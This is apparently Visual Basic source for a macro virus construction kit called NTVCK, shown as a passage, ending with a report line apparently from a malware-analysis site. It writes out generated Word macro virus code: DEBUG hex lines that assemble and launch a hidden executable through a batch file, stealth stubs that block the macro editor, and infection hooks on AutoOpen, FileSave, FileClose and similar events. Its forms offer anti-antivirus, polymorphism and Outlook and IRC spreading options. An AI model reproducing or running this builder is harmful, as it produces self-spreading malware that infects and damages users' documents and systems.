Print #1, "Print #hFile, ""E 00000730 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000740 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000750 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000760 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000770 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000780 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000790 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000007A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000007B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000007C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000007D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000007E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000007F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000800 5374 7275 6374 7572 6564 2045 7863 6570"
Print #1, "Print #hFile, ""E 00000810 7469 6F6E 2048 616E 646C 6572 2065 7861"
Print #1, "Print #hFile, ""E 00000820 6D70 6C65 0049 6E74 6572 6365 7074 6564"
Print #1, "Print #hFile, ""E 00000830 2047 656E 6572 616C 2050 726F 7465 6374"
Print #1, "Print #hFile, ""E 00000840 696F 6E20 4661 756C 7421 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000850 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000860 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000870 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000880 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000890 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000008A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000008B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000008C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000008D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000008E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000008F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000900 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000910 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000920 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000930 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000940 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000950 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000960 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000970 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000980 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000990 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000009A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000009B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000009C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000009D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000009E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000009F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000A00 3C30 0000 0000 0000 0000 0000 BC30 0000"
Print #1, "Print #hFile, ""E 00000A10 7C30 0000 7430 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000A20 C930 0000 B430 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000A30 0000 0000 0000 0000 0000 0000 D430 0000"
Print #1, "Print #hFile, ""E 00000A40 E030 0000 EE30 0000 FC30 0000 0831 0000"
Print #1, "Print #hFile, ""E 00000A50 1A31 0000 2831 0000 3A31 0000 5231 0000"
Print #1, "Print #hFile, ""E 00000A60 6031 0000 7031 0000 8831 0000 9231 0000"
Print #1, "Print #hFile, ""E 00000A70 0000 0000 A231 0000 0000 0000 D430 0000"
Print #1, "Print #hFile, ""E 00000A80 E030 0000 EE30 0000 FC30 0000 0831 0000"
Print #1, "Print #hFile, ""E 00000A90 1A31 0000 2831 0000 3A31 0000 5231 0000"
Print #1, "Print #hFile, ""E 00000AA0 6031 0000 7031 0000 8831 0000 9231 0000"
Print #1, "Print #hFile, ""E 00000AB0 0000 0000 A231 0000 0000 0000 4B45 524E"
Print #1, "Print #hFile, ""E 00000AC0 454C 3332 2E64 6C6C 0055 5345 5233 322E"
Print #1, "Print #hFile, ""E 00000AD0 646C 6C00 0000 436F 7079 4669 6C65 4100"
Print #1, "Print #hFile, ""E 00000AE0 0000 436C 6F73 6548 616E 646C 6500 0000"
Print #1, "Print #hFile, ""E 00000AF0 4578 6974 5072 6F63 6573 7300 0000 4669"
Print #1, "Print #hFile, ""E 00000B00 6E64 436C 6F73 6500 0000 4669 6E64 4669"
Print #1, "Print #hFile, ""E 00000B10 7273 7446 696C 6541 0000 0000 4465 6C65"
Print #1, "Print #hFile, ""E 00000B20 7465 4669 6C65 4100 0000 4765 7443 6F6D"
Print #1, "Print #hFile, ""E 00000B30 6D61 6E64 4C69 6E65 4100 0000 4765 7443"
Print #1, "Print #hFile, ""E 00000B40 7572 7265 6E74 4469 7265 6374 6F72 7941"
Print #1, "Print #hFile, ""E 00000B50 0000 0000 4765 7446 696C 6553 697A 6500"
Print #1, "Print #hFile, ""E 00000B60 0000 4765 7453 7973 7465 6D54 696D 6500"
Print #1, "Print #hFile, ""E 00000B70 0000 5365 7443 7572 7265 6E74 4469 7265"
Print #1, "Print #hFile, ""E 00000B80 6374 6F72 7941 0000 0000 5769 6E45 7865"
Print #1, "Print #hFile, ""E 00000B90 6300 0000 4669 6E64 4E65 7874 4669 6C65"
Print #1, "Print #hFile, ""E 00000BA0 4100 0000 4D65 7373 6167 6542 6F78 4100"
Print #1, "Print #hFile, ""E 00000BB0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000BC0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000BD0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000BE0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000BF0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000C00 0010 0000 2C00 0000 0C30 1130 3D30 4330"
Print #1, "Print #hFile, ""E 00000C10 4930 4F30 5530 5B30 6130 6730 6D30 7330"
Print #1, "Print #hFile, ""E 00000C20 7930 7F30 8530 8B30 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000C30 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000C40 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000C50 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000C60 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000C70 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000C80 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000C90 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000CA0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000CB0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000CC0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000CD0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000CE0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000CF0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D00 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D10 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D20 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D30 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D40 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D50 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D60 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D70 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D80 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000D90 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000DA0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000DB0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000DC0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000DD0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000DE0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000DF0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E00 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E10 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E20 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E30 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E40 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E50 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E60 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E70 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E80 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000E90 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000EA0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000EB0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000EC0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000ED0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000EE0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000EF0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F00 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F10 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F20 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F30 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F40 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F50 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F60 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F70 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F80 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000F90 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000FA0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000FB0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000FC0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000FD0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000FE0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000FF0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""RCX"
Print #1, "Print #hFile, ""1550"
Print #1, "Print #hFile, ""W"
Print #1, "Print #hFile, ""Q"
Print #1, "Close hFile"
Print #1, "End Sub"
Print #1, "Sub startv(strFile As String)"
Print #1, "Dim hFile As Long"
Print #1, "Close hFile"
Print #1, "On Error Resume Next"
Print #1, "hFile = FreeFile"
Print #1, "Open strFile For Output Access Write As hFile"
Print #1, "Print #hFile, ""@echo off"
Print #1, "Print #hFile, ""cd\"
Print #1, "Print #hFile, ""debug < start.scr > nul"
Print #1, "Print #hFile, ""copy start.com start.exe"
Print #1, "Print #hFile, ""start"
Print #1, "Close hFile"
Print #1, "Shell (""c:\startv.bat""), vbHide"
Print #1, "End Sub"

End If
If stealth = True Then
  Print #1, "Sub ToolsMacro()"
  If Polymorph = 1 Then
  Print #1, "Call UMP"
  End If
  Print #1, "Beep"
  Print #1, "End Sub"
  Print #1,
  Print #1, "Sub ViewVBCode()"
  If Polymorph = 1 Then
  Print #1, "Call UMP"
  End If
  Print #1, "Beep"
  Print #1, "End Sub"
  Print #1,
  Print #1, "Sub ToolsCustomize()"
  If Polymorph = 1 Then
  Print #1, "Call UMP"
  End If
  Print #1, "Beep"
  Print #1, "End Sub"
  Print #1,
  Print #1, "Sub FileTemplates()"
  If Polymorph = 1 Then
  Print #1, "Call UMP"
  End If
  Print #1, "Beep"
  Print #1, "End Sub"
  Print #1,
  End If


If frminfection.ao = True Then
    Print #1, "Sub AutoOpen()"
    Print #1, "    On Error Resume Next"
    Print #1, "Call " & VirusName & ""
    Print #1, "End Sub"
End If
If frminfection.ac = True Then
    Print #1, "Sub AutoClose()"
    Print #1, "    On Error Resume Next"
    Print #1, "Call " & VirusName & ""
    Print #1, "End Sub"
End If
If frminfection.ae = True Then
    Print #1, "Sub AutoExec()"
    Print #1, "    On Error Resume Next"
    Print #1, "Call " & VirusName & ""
    Print #1, "End Sub"
End If
If frminfection.fsa = True Then
    Print #1, "Sub FileSaveAs()"
    Print #1, "    On Error Resume Next"
    Print #1, "Dialogs(wdDialogFileSaveAs).Show"
    Print #1, "Call " & VirusName & ""
    Print #1, "End Sub"
    End If
If frminfection.fe = True Then
    Print #1, "Sub FileExit()"
    Print #1, "    On Error Resume Next"
    Print #1, "Call " & VirusName & ""
    Print #1, "    If ActiveDocument.Saved = False Then ActiveDocument.Save"
    Print #1, "End Sub"
End If
If frminfection.fc = True Then
    Print #1, "Sub FileClose()"
    Print #1, "    On Error Resume Next"
    Print #1, "Call " & VirusName & ""
    Print #1, "    If ActiveDocument.Saved = False Then ActiveDocument.Save"
    Print #1, "    ActiveDocument.Close"
    Print #1, "End Sub"
End If
If frminfection.fs = True Then
    Print #1, "Sub FileSave()"
    Print #1, "    On Error Resume Next"
    Print #1, "Call " & VirusName & ""
    Print #1, "    ActiveDocument.Save"
    Print #1, "End Sub"
End If
If frminfection.fn = True Then
    Print #1, "Sub FileNew()"
    Print #1, "    On Error Resume Next"
    Print #1, "Call " & VirusName & ""
    Print #1, "Dialogs(wdDialogFileNew).Show"
    Print #1, "    Skip = 1"
    Print #1, "Call " & VirusName & ""
    Print #1, "End Sub"
End If


Close 1
MsgBox "Macro Virus " & frmname.tb1 & " Created Successfully!", vbCritical + vbOKOnly, "NTVCK"
End Sub


Attribute VB_Name = "frmPlugin"
Attribute VB_Base = "0{A6BAA9D6-0464-11D6-A632-88BE99AAE64A}{A6BAA9AE-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

'Thanks WalruS for this piece of code...!!!;o)
Private Sub back_Click()
plugin = TextBox1.Text
frmPlugin.Hide
End Sub
Private Sub clear_Click()
TextBox1.Text = ""
End Sub


Attribute VB_Name = "Main"
Attribute VB_Base = "0{A6BAA9DA-0464-11D6-A632-88BE99AAE64A}{A6BAA9A0-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton3_Click()
Main.Hide
frmAbout.Show
End Sub
Private Sub CommandButton1_Click()
Main.Hide
frminfection.Show
End Sub

Private Sub CommandButton2_Click()
Main.Hide
KillAV.Show
End Sub

Private Sub CommandButton4_Click()
Main.Hide
frmPayload.Show
End Sub

Private Sub Image2_Click()
frmSecret.Show
End Sub

Private Sub CommandButton5_Click()
frmname.Show
End Sub

Private Sub CommandButton6_Click()
Main.Hide
Ende.Show
End Sub

Attribute VB_Name = "frmSecret"
Attribute VB_Base = "0{A6BAA9DE-0464-11D6-A632-88BE99AAE64A}{A6BAA9A8-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub chkcom_Click()
If chkcom.Value = True Then Nocom = True
If chkcom.Value = False Then Nocom = False
End Sub

Private Sub chkFake_Click()
If chkFake.Value = True Then Fake = True
If chkFake.Value = False Then Fake = False
End Sub

Private Sub chkNoNag_Click()
If chkNoNag.Value = True Then NoNag = True
If chkNoNag.Value = False Then NoNag = False
End Sub

Private Sub chkSource_Click()
End Sub


Attribute VB_Name = "frmcontact"
Attribute VB_Base = "0{A6BAA9E2-0464-11D6-A632-88BE99AAE64A}{A6BAA9C0-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label6_Click()

End Sub

Attribute VB_Name = "frminfection"
Attribute VB_Base = "0{A6BAA9E6-0464-11D6-A632-88BE99AAE64A}{A6BAA9AA-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()
frminfection.Hide
Main.Show
End Sub

Attribute VB_Name = "KillAV"
Attribute VB_Base = "0{A6BAA9EA-0464-11D6-A632-88BE99AAE64A}{A6BAA9B2-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub CommandButton1_Click()
KillAV.Hide
Main.Show
End Sub

Attribute VB_Name = "frmPayload"
Attribute VB_Base = "0{A6BAA9EE-0464-11D6-A632-88BE99AAE64A}{A6BAA9AC-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub chkdrop_Click()
frmdrop.Show
End Sub

Private Sub chkplugin_Click()
frmPlugin.Show
End Sub
Private Sub chkpoly_Click()
If chkpoly.Value = True Then Polymorph = 1
If chkpoly.Value = False Then Polymorph = 0
End Sub
Private Sub chkstealth_Click()
If chkstealth.Value = True Then stealth = True
If chkstealth.Value = False Then stealth = False
End Sub
Private Sub chkslowm_Click()
frmdelayall.Show
End Sub
Private Sub chkInter_Click()
If chkInter.Value = True Then
    Inter = True
    Do
    URL = InputBox("Enter the URL to launch:", "NTVCK", "http://www.coderz.net/zerogravity")
    Loop While URL = ""
End If
If chkInter.Value = False Then Inter = False
End Sub
Private Sub chkIRC_Click()
If chkIRC.Value = True Then IRC = True
If chkIRC.Value = False Then IRC = False
End Sub
Private Sub chkoutl_Click()
If chkOutl.Value = True Then
    Outlook = True
End If
If chkOutl.Value = False Then Outlook = False
frmout.Show
End Sub
Private Sub CommandButton1_Click()
frmPayload.Hide
Main.Show
End Sub


Attribute VB_Name = "frmStart"
Attribute VB_Base = "0{A6BAA9F2-0464-11D6-A632-88BE99AAE64A}{A6BAA9B0-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub Image2_Click()
well = MsgBox("WARNING!!!" & vbCr & "The following program is only for purpose!" & vbCr & "The Author doesn't take any responsibility for any damage." & vbCr & "Use this VCK at your own risk." & vbCr & "Any mishaps, infections or general screw up is the users fault!" & vbCr & "Do you agree?", vbExclamation + vbYesNo, "Disclaimer (taken from LiME by jackie;))")
If well = vbYes Then
frmStart.Hide
Main.Show
Else
End
End If
End Sub

Attribute VB_Name = "frmGreetz"
Attribute VB_Base = "0{A6BAA9F6-0464-11D6-A632-88BE99AAE64A}{A6BAA9B4-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub Label10_Click()
MsgBox "I like your stuff!", 48, "Ultras"
End Sub

Private Sub Label12_Click()
MsgBox "You are the kewlest VXer-Girl i've ever met!", 48, "GigaByte"
End Sub

Private Sub Label13_Click()
MsgBox "Let's trade the next time!?", 48, "Snakeman"
End Sub

Private Sub Label14_Click()
MsgBox "Wann kommen neue CrackingTuts raus?", 48, "Serial Killer"
End Sub

Private Sub Label15_Click()
MsgBox "C,ya l8r on #mtx", 48, "Del_Armg0"
End Sub

Private Sub Label16_Click()
MsgBox " Wenn ich wieder mal was brauche melde ich mich bei dir!;)", 48, "SnakeByte"
End Sub

Private Sub Label18_Click()
MsgBox "Thanks for support...", 48, "Lys Kovick"
End Sub

Private Sub Label19_Click()
MsgBox "See ya all next weekend!!!!!", 48, "PARTY PPL"
End Sub

Private Sub Label21_Click()
MsgBox "War ne schöne Zeit bei Beaming-Network!", 48, "Sui"
End Sub

Private Sub Label22_Click()
MsgBox "Viel glück mit Atlantis!", 48, "TrU3sPiRiT"
End Sub

Private Sub Label23_Click()
MsgBox "Döner Rules...;)", 48, "ocker"
End Sub

Private Sub Label24_Click()
MsgBox "Das GFX für meine Site is Kewl!", 48, "Fii7e"
End Sub

Private Sub Label25_Click()
MsgBox "Gdzie dostane AV w Niemcy?:)", 48, "Jakun"
End Sub

Private Sub Label26_Click()
MsgBox "Du warst immer für mich da,wenn ich dich brauchte.", 48, "THANKX jackie"
End Sub

Private Sub Label27_Click()
MsgBox "Lange nix von dir gehört,wo bist du?", 48, "BlackJack"
End Sub

Private Sub Label28_Click()
MsgBox "Thanks for including my source in Coderz.net Zine-Issue!", 48, "Evul"
End Sub

Private Sub Label29_Click()
MsgBox "Enough time for a next Fusion?;)", 48, "Fatal Error"
End Sub

Private Sub Label31_Click()
MsgBox "Thanks for takin me into Zer0Gravity", 48, "BSL4"
End Sub

Private Sub Label32_Click()
MsgBox "Heya buddy!", 48, "BumbleBee"
End Sub

Private Sub Label33_Click()
MsgBox "Thank you for your code...!", 48, "WalruS"
End Sub

Private Sub Label34_Click()
MsgBox "Necro humps on Roadkils legs!;)", 48, "Roadkil"
End Sub

Private Sub Label4_Click()
MsgBox "-=Betatester of this VCK=-" & vbCr & "Thank ya for all you've done for me!", 48, "Slage Hammer"
End Sub

Private Sub Label9_Click()
MsgBox "Thank ya for some Space on Shadowvx!!!", 48, "Dageshi"
End Sub

Private Sub UserForm_Click()
MsgBox "Sorry i hope that i forgot nobody!", 48, "SORRY PPL!"
frmGreetz.Hide
End Sub

Attribute VB_Name = "frmAuthor"
Attribute VB_Base = "0{A6BAA9FA-0464-11D6-A632-88BE99AAE64A}{A6BAA9B8-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Click()
girlfriend.Show
End Sub

Attribute VB_Name = "frmAbout"
Attribute VB_Base = "0{A6BAA9FE-0464-11D6-A632-88BE99AAE64A}{A6BAA9B6-0464-11D6-A632-88BE99AAE64A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
…

Open this report in the interactive analyzer, or submit your own file for analysis.